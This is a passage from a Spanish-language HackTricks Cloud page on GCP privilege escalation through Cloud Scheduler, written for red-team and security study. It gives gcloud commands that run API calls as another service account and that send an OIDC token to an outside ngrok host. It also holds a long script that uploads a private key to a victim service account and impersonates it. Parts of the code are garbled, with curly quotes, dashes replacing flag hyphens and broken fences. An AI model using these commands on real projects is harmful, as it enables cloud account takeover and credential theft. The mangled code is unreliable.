GCP - Cloud Scheduler Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cloud Scheduler

More information in:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Un atacante con estos permisos podría explotar Cloud Scheduler para autenticar cron jobs como una Service Account específica. Al construir una solicitud HTTP POST, el atacante programa acciones, como crear un Storage bucket, para que se ejecuten bajo la identidad de la Service Account. Este método aprovecha la capacidad del Scheduler para apuntar a endpoints *.googleapis.com y autenticar solicitudes, permitiendo al atacante manipular directamente endpoints de la API de Google usando un simple comando gcloud.

  • Contactar cualquier API de Google vía googleapis.com con cabecera de token OAuth

Create a new Storage bucket:

Create Cloud Scheduler job to create GCS bucket via API ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ```

Para escalar privilegios, un atacante simplemente crea una solicitud HTTP dirigida a la API deseada, suplantando el Service Account especificado

  • Exfiltrate OIDC service account token
Create Cloud Scheduler job to exfiltrate OIDC token ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

Listen in the ngrok address to get the OIDC token in clear text.

</details>

Si necesitas comprobar la respuesta HTTP podrías simplemente t**omar un vistazo a los registros de la ejecución**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Como en el escenario anterior, es posible **actualizar un scheduler ya creado** para robar el token o ejecutar acciones. Por ejemplo:

<details><summary>Actualizar job existente de Cloud Scheduler para exfiltrar el token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Otro ejemplo para subir una clave privada a un Service Account e impersonarla:

Subir clave privada a Service Account mediante Cloud Scheduler e impersonarla ```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"

Remove last new line character of the public key

file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem

Update scheduler to upload the key to a SA

For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND

gcloud scheduler jobs update http scheduler_lab_1
–schedule=‘* * * * *’
–uri=“https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json”
–message-body=“{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}”
–update-headers “Content-Type=application/json”
–location us-central1
–oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

Wait 1 min

sleep 60

Check the logs to check it worked

gcloud logging read ‘resource.type=“cloud_scheduler_job” AND resource.labels.job_id=“scheduler_lab_1” AND resource.labels.location=“us-central1” jsonPayload.@type=“type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished”’ –limit 10 –project –format=json

If any ‘“status”: 200’ it means it worked!

Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: “status”: 400

Build the json to contact the SA

Get privatekey in json format

file_content=$(<“/tmp/private_key.pem”) private_key_json=$(jq -Rn –arg str “$file_content” ‘$str’)

Get ID of the generated key

gcloud iam service-accounts keys list –iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

Create the json in a file

NOTE that you need to export your project-id in the env var PROJECT_ID

and that this script is expecting the key ID to be the first one (check the head)

export PROJECT_ID=… cat > /tmp/lab.json <<EOF { “type”: “service_account”, “project_id”: “$PROJECT_ID”, “private_key_id”: “$(gcloud iam service-accounts keys list –iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d “ “ -f 1 | grep -v KEY_ID | head -n 1)”, “private_key”: $private_key_json, “client_email”: “scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com”, “client_id”: “$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d “’” -f 2)“, “auth_uri”: “https://accounts.google.com/o/oauth2/auth”, “token_uri”: “https://oauth2.googleapis.com/token”, “auth_provider_x509_cert_url”: “https://www.googleapis.com/oauth2/v1/certs”, “client_x509_cert_url”: “https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com”, “universe_domain”: “googleapis.com” } EOF

Activate the generated key

gcloud auth activate-service-account –key-file=/tmp/lab.json

</details>

## Referencias

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>